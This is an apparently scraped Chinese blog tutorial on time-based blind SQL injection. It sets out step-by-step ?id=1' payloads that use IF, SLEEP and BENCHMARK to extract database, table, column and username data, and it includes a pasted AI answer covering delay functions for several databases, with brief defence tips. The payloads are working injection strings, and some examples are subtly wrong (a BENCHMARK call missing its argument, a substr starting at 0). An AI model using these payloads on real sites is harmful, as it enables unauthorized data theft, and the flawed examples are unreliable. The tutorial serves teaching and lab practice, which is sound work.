SQL注入之时间延迟型注入

本文详细介绍了时间延迟型SQL注入的原理、常用函数(如if, sleep, benchmark)及其应用,以及时间延迟注入的六个步骤,包括确认注入点、判断数据库信息、猜解表名和数据。此外,还分析了四种SQL注入方式的特点,强调在不同情况下选择合适的注入方法。" 125431214,11022284,深入理解JVM类加载机制,"['jvm', 'java']

时间延迟型注入

原理:利用if函数,执行判断; 如果正确,直接返回(时间很短,网速有一定影响) 如果不正确,执行时间延迟,常用的函数有sleep和benchmark 以上操作也可以反过来。
适用环境:界面无法用布尔真假判断,也无法报错注入的情况下。

时间延迟注入常用SQL函数介绍

if(condition,expr1,expr2)
功能:如果condition是true,则if()的返回值是expr1,否则返回值则为expr2,if()的返回值为数字值或字符串,具体情况视其所在语境而定
举例:select if(1+1=2,1,0);   select if(1+1=3,1,0)
      结果: 1                         ;            0

sleep(arg1)
功能:arg1为中断的时间,单位为秒;
举例1:if(payload,sleep(5),1);如果测试语句正确,暂停5秒

benchmark(arg1,arg2)
功能:arg1操作次数,arg2为表达式
举例1:if(payload,benchmark(500000000),1);如果测试语句正确,暂停5秒左右,受服务器影响较大

if和sleep的结合使用
语句:select if(left(version(),1)=5,sleep(5),2)

时间延迟SQL注入步骤

第1步:确认注入点
方法:通过增加 ' 和增加--+ 注释符,语句从执行失败变为执行成功判断注入点
语句:?id=1' --+

第2步:判断数据库版本和当前数据库名长度
1)判断数据库版本
?id=1' and if(ascii(substr(version(),0,1))=5,1,sleep(5))--+
2)判断数据库名长度
?id=1' and if(length(database())>10,1,sleep(5))--+

第3步:爆数据库名
?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>10,1,sleep(5))--+

第4步:猜解数据表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10,1,sleep(5))--+

第5步:猜解数据表 列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,1,sleep(5))--+

第6步:猜解数据包内容
?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))>20,1,sleep(5))--+

四种注入方式的分析

1.union注入:
能直接显示出想要的数据,使用简单

2.报错注入:
输入错误会直接显示数据库错误信息,我们可以通过报错注入直接获取想要的信息,与union注入相比,稍微麻烦一点,但是能直接显示信息

3.布尔注入:
会间接显示查询语句是否正确,但不会显示关键信息,重复操作多

4.时间注入:
不管SQL语句是否正确,不会返回任何信息,只能通过页面缓冲的时间来判断

综上所述
如果能够直接union是最好的,如果爆出了数据库错误可以使用报错注入,如果没有明显错误但是间接反馈了语句是否执行正确,可以布尔注入,如果什么信息都没有返回只有试试时间延迟注入。

<think>好的,用户想了解时间盲注的关键函数和实现方法。首先,我需要回忆一下时间盲注的基本原理。时间盲注通常是在无法直接通过页面回显获取数据时,通过引入时间延迟来判断注入是否成功。所以关键点在于如何触发数据库的延迟函数。 接下来,要列举不同数据库系统中常用的时间延迟函数。比如MySQL中的SLEEP()、BENCHMARK(),PostgreSQL的PG_SLEEP(),SQL Server的WAITFOR DELAY,以及Oracle的DBMS_LOCK.SLEEP()。这些都是常见的函数,需要具体说明每个函数的用法和示例。 然后,用户可能需要知道如何构造注入语句。比如在MySQL中,使用IF条件结合SLEEP函数,根据条件是否成立来决定是否触发延迟。例如,判断数据库名的第一个字符是否为某个字母,如果是则延迟几秒。这样通过页面响应时间的长短来推断信息。 还要注意不同数据库的语法差异,比如Oracle需要FROM DUAL,而其他数据库可能不需要。同时,BENCHMARK函数是通过重复执行计算来引起延迟,可能在某些没有SLEEP函数的环境下使用。 另外,实现步骤方面,需要分步骤说明,比如判断注入点、构造条件语句、观察延迟响应等。可能还需要提到工具的使用,比如sqlmap自动化检测,但用户的问题主要是手动实现方法,所以这部分可以简要带过。 安全问题方面,需要提醒用户时间盲注的效率较低,对服务器负载有影响,并且容易被安全设备检测到。可能用户在实际测试中需要注意这些点,所以需要包括进去。 最后,生成相关问题时要围绕时间盲注的扩展,比如与布尔盲注的区别、如何防御、自动化工具的原理等。这些能帮助用户进一步理解该主题。</think>### 时间盲注关键函数及实现方法 时间盲注(Time-Based Blind SQL Injection)通过构造带有时间延迟SQL语句,根据服务器响应时间判断注入条件是否成立。以下是关键函数和实现方式: #### 一、关键延迟函数 1. **MySQL** - `SLEEP(N)`:强制等待N秒 示例:`SELECT IF(1=1,SLEEP(5),0)` - `BENCHMARK(count, expr)`:重复执行表达式引起延迟 示例:`SELECT IF(1=1,BENCHMARK(1000000,SHA1('test')),0)` 2. **PostgreSQL** - `PG_SLEEP(N)`:等待N秒 示例:`SELECT CASE WHEN 1=1 THEN PG_SLEEP(5) ELSE NULL END` 3. **SQL Server** - `WAITFOR DELAY '0:0:5'`:延迟5秒 示例:`IF 1=1 WAITFOR DELAY '0:0:5'` 4. **Oracle** - `DBMS_LOCK.SLEEP(N)`:延迟N秒 示例:`SELECT CASE WHEN 1=1 THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM DUAL` #### 二、实现步骤 1. **判断注入点** 构造带延迟的查询,观察响应时间: ```sql ' AND IF(1=1,SLEEP(5),0)-- ``` 2. **构造条件判断** 通过条件语句逐字符提取数据: ```sql ' AND IF(SUBSTRING((SELECT DATABASE()),1,1)='a', SLEEP(5),0)-- ``` 3. **二进制搜索优化** 使用ASCII值比较缩小范围: ```sql ' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))>100, SLEEP(5),0)-- ``` #### 三、防御建议 - 使用预编译语句(Prepared Statements) - 限制数据库函数权限[^1] - 部署Web应用防火墙(WAF)
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值